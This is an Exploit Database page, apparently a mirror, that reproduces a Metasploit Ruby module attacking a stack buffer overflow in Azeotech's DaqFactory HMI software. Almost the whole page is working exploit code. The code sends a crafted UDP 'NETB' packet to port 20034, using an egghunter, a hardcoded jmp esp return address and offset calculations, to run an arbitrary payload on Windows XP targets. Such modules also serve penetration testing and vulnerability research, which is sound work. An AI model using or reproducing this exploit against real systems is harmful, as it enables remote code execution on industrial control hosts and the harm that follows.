DaqFactory – HMI NETB Request Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2011-09-18
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17855/

• ##
  # $Id: daq_factory_bof.rb 13750 2011-09-18 02:45:55Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Udp
  	include Msf::Exploit::Remote::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'DaqFactory HMI NETB Request Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Azeotech's DaqFactory
  				product. The specfic vulnerability is triggered when sending a specially crafted
  				'NETB' request to port 20034. Exploitation of this vulnerability may take a few
  				seconds due to the use of egghunter.This vulnerability was one of the 14
  				releases discovered by researcher Luigi Auriemma.
  			},
  			'Author' =>
  				[
  					'Luigi Auriemma',# Initial discovery, crash poc
  					'mr_me <steventhomasseeley[at]gmail.com>',# msf exploit
  				],
  
  			'Version'=> '$Revision: 13750 $',
  			'References' =>
  				[
  					['URL', 'http://aluigi.altervista.org/adv/daqfactory_1-adv.txt'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'InitialAutoRunScript' => 'migrate -f',
  				},
  			'Payload'=>
  				{
  					'Space'=> 600,
  					'BadChars' => "\x00",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						'DAQFactory Pro 5.85 Build 1853 on Windows XP SP3',
  						{
  							'Ret' => 0x100B9EDF,# jmp esp PEGRP32A.dll
  							'Offset' => 636,
  						}
  					],
  				],
  			'DisclosureDate' => 'Sep 13 2011',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				# Required for EIP offset
  				OptString.new('DHCP', [ true, "The DHCP server IP of the target", "" ]),
  				Opt::RPORT(20034)
  			], self.class)
  	end
  
  	def exploit
  		connect_udp
  
  		print_status("Trying target #{target.name}...")
  
  		eggoptions ={
  			:checksum => false,
  			:eggtag => 'scar',
  		}
  
  		# Correct the offset according to the 2nd IP (DHCP) length
  		iplen = datastore['DHCP'].length
  
  		if iplen == 15
  			offset = 78
  		elsif iplen == 14
  			offset = 79
  		elsif iplen == 13
  			offset = 80
  		elsif iplen == 12
  			offset = 81
  		elsif iplen == 11
  			offset = 82
  		elsif iplen == 10
  			offset = 83
  		elsif iplen == 9
  			offset = 84
  		elsif iplen == 8
  			offset = 85
  		elsif iplen == 7
  			offset = 86
  		elsif iplen == 6
  			offset = 87
  		# attack class A ip, slightly unlikly, but just in case.
  		elsif iplen == 5
  			offset = 88	
  		end	
  
  		if offset >= 80
  			pktoffset = offset - 80
  			finaloffset = target['Offset']-pktoffset
  		elsif offset <= 79
  			pktoffset = 80 - offset
  			finaloffset = target['Offset']+pktoffset
  		end
  
  		# springboard onto our unmodified payload
  		p = Rex::Arch::X86.jmp(750) + payload.encoded
  		hunter,egg = generate_egghunter(p, payload_badchars, eggoptions)
  
  		sploit= "NETB"# NETB request overflow
  		sploit << rand_text_alpha_upper(233)
  		sploit << "\x00"# part of the packet structure
  		sploit << rand_text_alpha_upper(offset)# include the offset for the DHCP address
  		sploit << make_nops(2)
  		sploit << hunter
  		sploit << rand_text_alpha_upper(52-hunter.length-2)
  		sploit << [target.ret].pack("V")
  		sploit << rand_text_alpha_upper(12)
  		sploit << Rex::Arch::X86.jmp_short(-70)
  		sploit << egg
  		# packetlen needs to be adjusted to a max of 0x400 as per advisory
  		sploit << rand_text_alpha_upper(finaloffset-egg.length)
  
  		# The use of rand_text_alpha_upper() ensures we always get the same length for the
  		# first IP address. See the following for more details:
  		# http://dev.metasploit.com/redmine/issues/5453
  		sploit[12,4] = rand_text_alpha_upper(4)
  
  		udp_sock.put(sploit)
  
  		handler
  		disconnect_udp
  	end
  
  end